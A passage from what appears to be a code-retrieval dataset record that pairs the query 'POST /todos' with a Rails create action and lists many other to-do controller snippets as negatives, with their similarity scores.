"def todo\n @tasks = TaskDecorator.decorate_collection Task.getReadyToDoTasks\n render \"v1/tasks/index\"\n end",
"def index\n @goals = @todo.goals.all\n render json: @goals\n end",
"def index\n if(current_user.has_role?(:developer))\n @todos = Todo.where(developer_id: current_user.id, project_id: params[:project_id])\n else\n @todos = Todo.where(project_id: params[:project_id])\n end\n render json: @todos\n end",
"def index\n @listtodos = Listtodo.all\n end",
"def show\n @todo = @list.todos.find(params[:id])\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def show\n @todos = Todos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @todos }\n end\n end",
"def show\n render json: @to_do\n end",
"def index\n @todos = Todo.all\n gon.current_user_api_key = current_user.api_key\n gon.api_url = Settings.api.url\n end",
"def create\n @todo = Todo.create(todo_params)\n render json: @todo\n end",
"def index\n @tasks = Task.all\n\n render json: @tasks\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo}\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def show\n @todo = Todo.find(params[:id])\n end",
"def show\n @list_to_do = ListToDo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_to_do }\n end\n end",
"def index\n @todolists = Todolist.all\nend",
"def index\n @todoslists = Todoslist.all\n end",
"def index\n\t\t@list = current_user.lists.find(params[:list_id])\n @todos = @list.todos\n end",
"def index\n @tasks = Task.all\n @root = \"tasks\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo_list }\n end\n end",
"def list\n get('/')\n end",
"def todos(id, sort = 'recent', options = {})\n deprecated(\"todos\", \"list_todos\")\n get(\"users/#{id}/todos\", { :sort => sort }.merge(options)).todos\n end",
"def index\n @tasks = Task.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def index\n @tasks = Task.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"def user_todos user_id=\"self\", options={}\n response = get(\"/lists/#{user_id}/todos\", options)[\"response\"]\n Foursquared::Response::List.new(self, response[\"list\"])\n end",
"def show\n @item = TodoItem.find(params[:id])\n \n respond_to do |format|\n format.html\n format.json {render json: {\n success:true, \n data: [@item],\n message: \"TodoItem found.\"\n }}\n end\n end",
"def show\n @todo = Todo.find(params[:id])\n\n\t# make sure the current user owns this todo\n\tif @todo.user.id != current_user.id\n\t\trender :json => { :error => \"You don't have access to this item.\" }\n\telse\n\t\trespond_to do |format|\n\t\t format.html { render :partial => \"todo\", :locals => { :todo => @todo } }\n\t\t format.json { render json: @todo }\n\t\tend\n\tend\n end",
"def destroy\n @todo.destroy\n render json: @todo\n end",
"def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo_list}\n end\n end",
"def index\n @to_dos = ToDo.all\n end",
"def index\n @comp_todos = CompTodo.all\n end",
"def show\n @todo = Todo.users(current_user.id).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @todo }\n format.js { render :json=> @todo }\n end\n end",
"def destroy\n @todo = Todo.find_by(id: params[:id])\n Todo.delete(@todo)\n @@all = Todo.all\n render json: @@all\n end",
"def set_todo\n @todo = Todo.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render json: { error: \"Todo not found\" }, status: :not_found\n end",
"def show\n @to_do_item = ToDoItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @to_do_item }\n end\n end",
"def index\n @task_notes = Note.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_notes }\n end\n end",
"def show\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metodo }\n end\n end",
"def index\n authorize! :index, Todo\n if current_employee.admin?\n @todos = @project.todos\n else\n raise CanCan::AccessDenied.new(\"Not authorized!\", :read, Todo)\n end\n end",
"def index\n @todos = Todo.all.order(created_at: :desc)\n end",
"def destroy\n @todo = @list.todos.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to list_todos_url(@list) }\n format.json { head :ok }\n end\n end",
"def get(id:)\n list = client.get_list(id: id)\n\n Todoable::List.new(list)\n end",
"def index\n @todo_apps = TodoApp.all\n end"
] |
[
"0.80015033",
"0.7946748",
"0.7915049",
"0.7910324",
"0.767061",
"0.75529414",
"0.7513659",
"0.74718785",
"0.74510056",
"0.7441282",
"0.74228525",
"0.7407939",
"0.7388406",
"0.72670317",
"0.7216767",
"0.7216767",
"0.71763384",
"0.71687216",
"0.7158836",
"0.71497715",
"0.7128084",
"0.71198946",
"0.7112157",
"0.7112157",
"0.7112157",
"0.7112157",
"0.7112157",
"0.7112157",
"0.7111252",
"0.7081119",
"0.70756423",
"0.7025878",
"0.7023683",
"0.700733",
"0.7000133",
"0.6914034",
"0.6844486",
"0.6833704",
"0.6833693",
"0.6759229",
"0.6715903",
"0.6698773",
"0.669132",
"0.668497",
"0.66293603",
"0.6621784",
"0.6616349",
"0.6615278",
"0.659467",
"0.6593955",
"0.6578339",
"0.6573701",
"0.65553385",
"0.65446246",
"0.65390146",
"0.6530972",
"0.65189165",
"0.65189165",
"0.65189165",
"0.65189165",
"0.65189165",
"0.65073127",
"0.6505054",
"0.6503336",
"0.64817667",
"0.6481547",
"0.64487284",
"0.6442743",
"0.6442743",
"0.6442743",
"0.6442636",
"0.6439059",
"0.63910365",
"0.63873345",
"0.6369836",
"0.6365244",
"0.6365244",
"0.6365244",
"0.6362405",
"0.63612455",
"0.6360739",
"0.63488317",
"0.63484347",
"0.63435346",
"0.6330926",
"0.63296086",
"0.63262343",
"0.63224393",
"0.6317949",
"0.62919164",
"0.6290784",
"0.62547666",
"0.62506294",
"0.62426275",
"0.6215905",
"0.62137264",
"0.61934197",
"0.6191634",
"0.6175464",
"0.6175105",
"0.6172843"
] |
0.0
|
-1
|
POST /todos POST /todos.json
|
def create
# バリデーション
if is_valid_todo(todo_params)
@todo = Todo.new(todo_params)
@todo.user_id = current_user.id
respond_to do |format|
if @todo.save
#format.html { redirect_to @todo, notice: 'Todo was successfully created.' }
#format.json { render :show, status: :created, location: @todo }
format.json { render json: @todo, status: :created}
else
#format.html { render :new }
format.json { render json: @todo.errors, status: :unprocessable_entity }
end
end
else
format.json {render json: "validation_error", status: :error}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @todo = Todo.create(todo_params)\n render json: @todo\n end",
"def create\n @todo = Todo.new(todo_params)\n if @todo.save\n render json: @todo, status: :created, location: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def create\n @todo = current_user.todos.create(todo_params)\n\n if @todo.save\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n if @todo.save\n render json: @todo, status: 201\n else\n render json: @todo.errors, status: 422\n end\n end",
"def create\n todo = Todo.new(todo_params)\n if todo.save\n render json: todo\n else\n render json: { message: todo.errors.messages }, status: 422\n end\n end",
"def create\n @to_do = ToDo.new(todo_params)\n\n if @to_do.save\n render json: @to_do, status: :created, location: @to_do\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end",
"def create\n @todo = Todo.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, :notice=>\"Todo was successfully created.\" }\n format.json { render :json=>@todo, :status=>:created, :location=>@todo }\n else\n format.html { render :action=>\"new\" }\n format.json { render :json=>@todo.errors, :status=>:unprocessable_entry }\n end\n end\n end",
"def create\n @todo = @user.todos.new(todo_params)\n @todo.save!\n\n return render json: { success: true, msg: 'Todo was created successfully.' }, status: 201\n end",
"def create\n @todo = Todo.new(user_params)\n if @todo.save\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n @todo.save\n #render json: { :success => 1, :todo => @todo } \n end",
"def create\n @todo = Todo.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render json: @todo, status: :created, location: @todo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_todo(todo)\n post_params = {\n :body => todo.post_json,\n :headers => Logan::Client.headers.merge({'Content-Type' => 'application/json'})\n }\n \n response = Logan::Client.post \"/projects/#{@project_id}/todolists/#{@id}/todos.json\", post_params\n Logan::Todo.new response\n end",
"def create\n @todo = @list.todos.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to list_todo_path(@list, @todo), notice: 'Todo was successfully created.' }\n format.json { render json: @todo, status: :created, location: @todo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(params[:todo])\n @todo.save\n respond_with @todo\n end",
"def create\n @todo = Todo.new(todo_params)\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @todo }\n else\n format.html { render action: 'new' }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n todo = current_user.todos.build(todo_params)\n\n respond_to do |format|\n if todo.save\n format.html { redirect_to todos_path }\n format.json { render :show, status: :created, location: todo }\n else\n format.html { render :new }\n format.json { render json: todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = @user.todos.build(todo_params)\n @todo.save\n respond_with(@user, @todo)\n end",
"def create\n @api_v1_todo = Todo.new(api_v1_todo_params)\n\n respond_to do |format|\n if @api_v1_todo.save\n format.json { render json: @api_v1_todo, status: :created }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(params[:todo])\n # Set the user who owns this\n @todo.user = current_user\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to root_path, notice: t('todos.success_create') }\n format.json { render json: @todo, status: :created, location: @todo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n @todo.user_id = current_user.id\n respond_to do |format|\n if @todo.save\n format.html { redirect_to list_path(@todo.list), notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\tparams[:todo][:user_id] = current_user.id\n @todo = Todo.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n #format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render json: @todo, status: :created, location: @todo }\n else\n #format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params.merge!(created_by_id: current_user.id, updated_by_id: current_user.id))\n if @todo.save\n render json: @todo\n else\n render json: {errors: @todo.errors.full_messages}, status: 422\n end\n end",
"def create\n @item = Todo.create title: params[:title], done: false, created_at: DateTime.now, done_at: nil\n render :json => @item.to_json\n end",
"def create\n @todos = Todos.new(params[:todos])\n\n respond_to do |format|\n if @todos.save\n flash[:notice] = 'Todos was successfully created.'\n format.html { redirect_to(@todos) }\n format.xml { render :xml => @todos, :status => :created, :location => @todos }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @todos.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n @todo.task_list_id = @list.id\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created}\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n new_todo = Todo.new(name: params[:name])\n return render json: { error: new_todo.errors }, status: :bad_request unless new_todo.valid?\n\n new_todo.save!\n redirect_to root_path\n end",
"def create\n @todo_list = TodoList.new(params[:todo_list])\n\n respond_to do |format|\n if @todo_list.save\n format.html { redirect_to @todo_list, :notice=>\"Todo list was successfully created.\" }\n format.json { render :json=>@todo_list, :status=>:created, :location=>@todo_list }\n else\n format.html { render :action=>\"new\" }\n format.json { render :json=>@todo_list.errors, :status=>:unprocessable_entry }\n end\n end\n end",
"def new\n @todo = @list.todos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def create\n @todo = TodoService.create_todo(scope: @project.todos, attrs: todo_params)\n respond_to do |format|\n if @todo.persisted?\n format.html { redirect_to project_todos_path(@project), notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:todo] = params[\"todo_\" + params[:id].to_s]\n @todo.user = current_user\n\n if @todo.save\n @status = \"success\"\n @message = \"To-do created successfully.\"\n unless request.xhr?\n flash[:notice] = @message\n redirect_to action: :index\n else\n render @todo\n end\n else\n @status = \"alert\"\n @message = \"To-do could not be created.\"\n unless request.xhr?\n flash[:alert] = @message\n redirect_to :back\n else\n render @todo\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n @todo.save\n end",
"def create\n puts \"Olemme create\"\n puts current_user.id\n @todo = Todo.new(todo_params)\n @todo.user_id = current_user.id\n @todo.closed = false\n @todo.created = DateTime.now.to_datetime\n respond_to do |format|\n if @todo.save\n format.html { redirect_to todos_path, notice: 'Tehtävä luotu.' }\n format.json { render :index, status: :created, location: @todo }\n else\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo_list = TodoList.new(params[:todo_list])\n\n respond_to do |format|\n if @todo_list.save\n format.html { redirect_to @todo_list, notice: 'Todo list was successfully created.' }\n format.json { render json: @todo_list, status: :created, location: @todo_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tasks\n @todos = Todo.all\n render json: @todos\n end",
"def create\n @todo = current_user.todos.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to(todos_path, :notice => 'Todo was successfully created.') }\n format.xml { render :xml => @todo, :status => :created, :location => @todo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @todo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n\n if @todo.save\n notice = 'Todo was successfully created.'\n render turbo_stream: turbo_stream.append('todos', @todo)\n else\n render :new, status: :unprocessable_entity\n end\n end",
"def create\n @todo_item = TodoItem.new(todo_item_params)\n\n respond_to do |format|\n if @todo_item.save\n format.html { redirect_to :root, notice: 'Your new task was successfully created.' }\n format.json { render :show, status: :created, location: @todo_item }\n else\n format.html { render :new }\n format.json { render json: @todo_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @newtodo = Todo.create(todo_params)\n @newtodo.save\n\n redirect_to todos_path\n end",
"def create\n @todo_app = TodoApp.new(todo_app_params)\n\n respond_to do |format|\n if @todo_app.save\n format.html { redirect_to @todo_app, notice: 'Todo app was successfully created.' }\n format.json { render :show, status: :created, location: @todo_app }\n else\n format.html { render :new }\n format.json { render json: @todo_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todolist = Todolist.new(todolist_params)\n\n respond_to do |format|\n if @todolist.save\n format.html { redirect_to @todolist, notice: 'Todolist was successfully created.' }\n format.json { render :show, status: :created, location: @todolist }\n else\n format.html { render :new }\n format.json { render json: @todolist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo = @list.todos.build(params[:todo])\n\n if @todo.save\n flash[:notice] = 'To do was successfully created.'\n redirect_to list_path(@list)\n else\n flash[:notice] = \"To do was not created.\"\n render :action => \"new\"\n end\n end",
"def index\n @todos = @list.todos\n render json: @todos\n end",
"def index\n @todos = Todo.all\n render json: @todos\n end",
"def create\n @todoslist = Todoslist.new(todoslist_params)\n\n respond_to do |format|\n if @todoslist.save\n format.html { redirect_to @todoslist, notice: \"Todoslist was successfully created.\" }\n format.json { render :show, status: :created, location: @todoslist }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @todoslist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @listtodo = Listtodo.new(listtodo_params)\n\n respond_to do |format|\n if @listtodo.save\n format.html { redirect_to @listtodo, notice: 'Listtodo was successfully created.' }\n format.json { render :show, status: :created, location: @listtodo }\n else\n format.html { render :new }\n format.json { render json: @listtodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todo_task = TodoTask.new(params[:todo_task])\n\n respond_to do |format|\n if @todo_task.save\n format.html { redirect_to @todo_task, notice: 'Todo task was successfully created.' }\n format.json { render json: @todo_task, status: :created, location: @todo_task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @metodo = Metodo.new(params[:metodo])\n\n respond_to do |format|\n if @metodo.save\n format.html { redirect_to metodos_url }\n format.json { render json: @metodo, status: :created, location: @metodo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @todos = Todo.all\n json_response(@todos)\n end",
"def create\n @todo = Todo.new(todo_params)\n \n if @todo.save\n redirect_to action: 'index'\n else\n render :new\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n if params[:todo][:list_id].present?\n @todo.list = List.find(params[:todo][:list_id])\n elsif params[:todo][:list].present?\n @todo.list = List.find(params[:todo][:list].to_i)\n else\n redirect_to root_path, notice: 'Error while adding new todo.'\n end\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to @todo.list, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n format.html { redirect_to @todo.list }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @to_do = ToDo.new(to_do_params)\n id = \"\"\n request_url = request.env[\"HTTP_REFERER\"]\n array = request_url.split('/')\n id = array[-3]\n user = User.find(id.to_i)\n @to_do.user = user\n if @to_do.save\n render json: @to_do, status: :created, location: @to_do\n else\n render json: @to_do.errors, status: :unprocessable_entity\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n end\n end",
"def create\n @todolists = Todolist.new(todolist_params)\n\n respond_to do |format|\n if @todolists.save\n format.html { redirect_to @todolists, notice: 'New task was successfully created.' }\n format.json { render :show, status: :created, location: @todolists}\n else\n format.html { render :new }\n format.json { render json: @todolists.errors, status: :unprocessable_entity }\n end\n end\nend",
"def create\n project = Project.find_or_create_by(title: todo_project_params[:project_title])\n todo = project.todos.new(todo_params)\n\n if todo.valid? && project.valid?\n todo.save!\n render json: todo\n else\n render json: [todo.errors, project.errors]\n end\n end",
"def create\n @todoa = Todoa.new(todoa_params)\n @todoa.update_attribute(:user_id, current_user.id)\n @todoa.update_attribute(:done, false)\n respond_to do |format|\n if @todoa.save\n format.html { redirect_to todoas_url }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @todoa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @to_do = ToDo.new(to_do_params)\n\n respond_to do |format|\n if @to_do.save\n format.html { redirect_to @to_do, notice: 'To do was successfully created.' }\n format.json { render :show, status: :created, location: @to_do }\n else\n format.html { render :new }\n format.json { render json: @to_do.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo}\n end\n end",
"def create\n @trip_todo = TripTodo.new(trip_todo_params)\n\n respond_to do |format|\n if @trip_todo.save\n format.html { redirect_to @trip_todo, notice: 'Trip todo was successfully created.' }\n format.json { render :show, status: :created, location: @trip_todo }\n else\n format.html { render :new }\n format.json { render json: @trip_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_todo_item(name, list_id)\n data = {\n item: {\n name: name\n }\n }\n rest(\"post\", \"lists/#{list_id}/items\", data)\n end",
"def todoslist_params\n params.require(:todoslist).permit(:title, :description)\n end",
"def create\n \n #logger.info(params.inspect)\n #logger.info(\"before creation of new\")\n @todo = Todo.new(todo_params)\n #logger.info(\"after creation on new\")\n \n if @todo.save\n render status: :created\n else\n #logger.info(\"inside else statement!\")\n render @todo.errors, status: :unprocessable_entity\n end\n \n end",
"def create\n @todo_list = TodoList.new(todo_list_params)\n\n respond_to do |format|\n if @todo_list.save\n format.html { redirect_to :back, notice: 'Todo list was successfully created.' }\n format.json { render :show, status: :created, location: :back }\n else\n format.html { render :new }\n format.json { render json: @todo_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n render json: Todo.all\n end",
"def create(name, description, projectid)\n body = {:name => name, :description => description}\n post(\"projects/#{projectid}/todolists.json\", JSON.generate(body))\n end",
"def create\n authorize! :create, Todo\n @todo = @project.todos.new(todo_params)\n\n respond_to do |format|\n if @todo.save\n format.html { redirect_to project_todo_url(@project, @todo), notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n @employee_projects = @project.employee_projects\n format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo_list }\n end\n end",
"def create\n\t @list = current_user.lists.find(params[:list_id])\n @todo = @list.todos.new(todo_params)\n respond_to do |format|\n if @todo.save\n\t @todo.move_to_top\n format.html { redirect_to list_todos_path, notice: 'Todo was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@list, @todo] }\n\t\t\t\t#format.js { render template: \"todos/create.json.erb\" }\n\t\t\t\tformat.js { render json: { element: render_to_string( partial: 'list', locals: { todo: @todo } ) } }\n else\n format.html { render action: 'new' }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @todoit_list = TodoitList.new(todoit_list_params)\n\n respond_to do |format|\n if @todoit_list.save\n format.html { redirect_to @todoit_list, notice: 'Todoit list was successfully created.' }\n format.json { render action: 'show', status: :created, location: @todoit_list }\n else\n format.html { render action: 'new' }\n format.json { render json: @todoit_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @to_dos = ToDo.all\n\n render json: @to_dos\n end",
"def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end",
"def create\n ## Creating the todo object \n @todo = Todo.new(params[:todo])\n \n ## Validating the data\n @todo.valid?\n \n respond_to do |format|\n if @todo.errors.blank?\n \n # Saving the todo object\n @todo.save\n \n # Setting the flash message\n message = translate(\"forms.created_successfully\", :item => \"Todo\")\n store_flash_message(message, :success)\n \n format.html { \n redirect_to todo_url(@todo), notice: message\n }\n format.json { render json: @todo, status: :created, location: @todo }\n format.js {}\n else\n \n # Setting the flash message\n message = @todo.errors.full_messages.to_sentence\n store_flash_message(message, :alert)\n \n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n format.js {}\n end\n end\n end",
"def todo_params\n params.required(:todo).permit(:description, :done, :created_at, :updated_at)\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def destroy\n @todo.destroy\n render json: @todo\n end",
"def index\n @todos = @list.todos.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @todos }\n end\n end",
"def create\n @todo = Todo.new(todo_params)\n if @todo.save\n flash[:notice] = \"Todo was created successfully\"\n redirect_to todo_path(@todo) # go to /todos/[this id]\n else\n render 'new'\n end\n end",
"def todo_params\n params.require(:todo).permit(:name, :done, :task_list_id)\n end",
"def create\n @project_todo = @project.project_todos.new(params[:project_todo])\n\n respond_to do |format|\n if @project_todo.save\n format.html { redirect_to [@project, @project_todo], :notice => 'Project todo was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project_todo }\n else\n format.html { render action: 'new' }\n format.json { render json: @project_todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def todo_params\n params.require(:todo).permit(:text, :done, :deleted)\n end",
"def create\n todo_text = params[:todo_text]\n due_date = params[:due_date]\n new_todo = Todo.new(todo_text: todo_text, due_date: due_date, completed: false, user_id: current_user.id)\n new_todo.save\n if new_todo.save\n redirect_to todos_path\n else\n flash[:error] = new_todo.errors.full_messages.join(\" , \")\n redirect_to todos_path\n end\n end",
"def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@todo_list}\n end\n end",
"def todo_params\n params.require(:todo).permit(:title, :description)\n end",
"def todo_params\n params.require(:todo).permit(:name, :note, :due_date, :done, :list_id, :user_id)\n end",
"def new\n ## Intitializing the todo object \n @todo = Todo.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todo }\n format.js {}\n end\n end",
"def create\n @todo = current_user.todos.build(todo_params)\n respond_to do |format|\n if @todo.save\n format.js\n else\n format.js { redirect_back fallback_location: root_path, alert: \"#{@todo.errors.full_messages.to_sentence}\" }\n end\n end\n end",
"def new\n @todo = Todo.new\n respond_with @todo\n end",
"def create(params, projectid, todolistid)\n\n data = params[:due_at]\n data = Date.parse(data.to_a.sort.collect{|c| c[1]}.join(\"-\"))\n\n body =\n {\n :content => params[:content],\n :due_at => data,\n :assignee =>\n {\n :id => params[:assignee_id],\n :type => params[:assignee_type]\n }\n }\n\n post(\"projects/#{projectid}/todolists/#{todolistid}/todos.json\", JSON.generate(body))\n\n end",
"def new\n @to_do_list = ToDoList.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @to_do_list }\n end\n end",
"def create\n @todo_item = @todo_list.todo_items.new(todo_item_params)\n\n if @todo_item.save\n redirect_to @todo_list, notice: 'Todo item was successfully created.'\n else\n redirect_to @todo_list, alert: 'Todo item failed to be created.'\n end\n end",
"def todo_params\n params.require(:todo).permit(:todo_date, :todo_item, :description)\n end",
"def todo_params\n params.require(:todo).permit(:content, :done?)\n end",
"def create\n @todo = Todo.new(todo_params)\n\n count = Todo.where(:username => params[:todo][:username]).count\n\n too_fresh_todo = Todo.where(\"username = ? AND created_at > ?\", params[:todo][:username], 5.seconds.ago.to_s(:db)).first\n\n if count > 1000 || too_fresh_todo\n render :json => Todo.new\n return\n end\n\n respond_to do |format|\n if @todo.save\n # format.html { redirect_to @todo, notice: 'Todo was successfully created.' }\n format.json { render :show, status: :created, location: @todo }\n else\n # format.html { render :new }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def todo_params\n params.require(:todo).permit(:title, :todo, :deadline, :finish, :updated_at)\n end"
] |
[
"0.77191365",
"0.7682156",
"0.7584383",
"0.7571844",
"0.7390803",
"0.7379874",
"0.73744744",
"0.7349123",
"0.7333154",
"0.73257005",
"0.7285942",
"0.7235614",
"0.722343",
"0.72165036",
"0.72165036",
"0.72165036",
"0.71789914",
"0.7135808",
"0.7118579",
"0.71103877",
"0.7026356",
"0.69787216",
"0.6973365",
"0.6954046",
"0.69370365",
"0.6932429",
"0.6899816",
"0.688453",
"0.6870459",
"0.6815685",
"0.6813797",
"0.6811388",
"0.67862165",
"0.67559916",
"0.6712643",
"0.6684472",
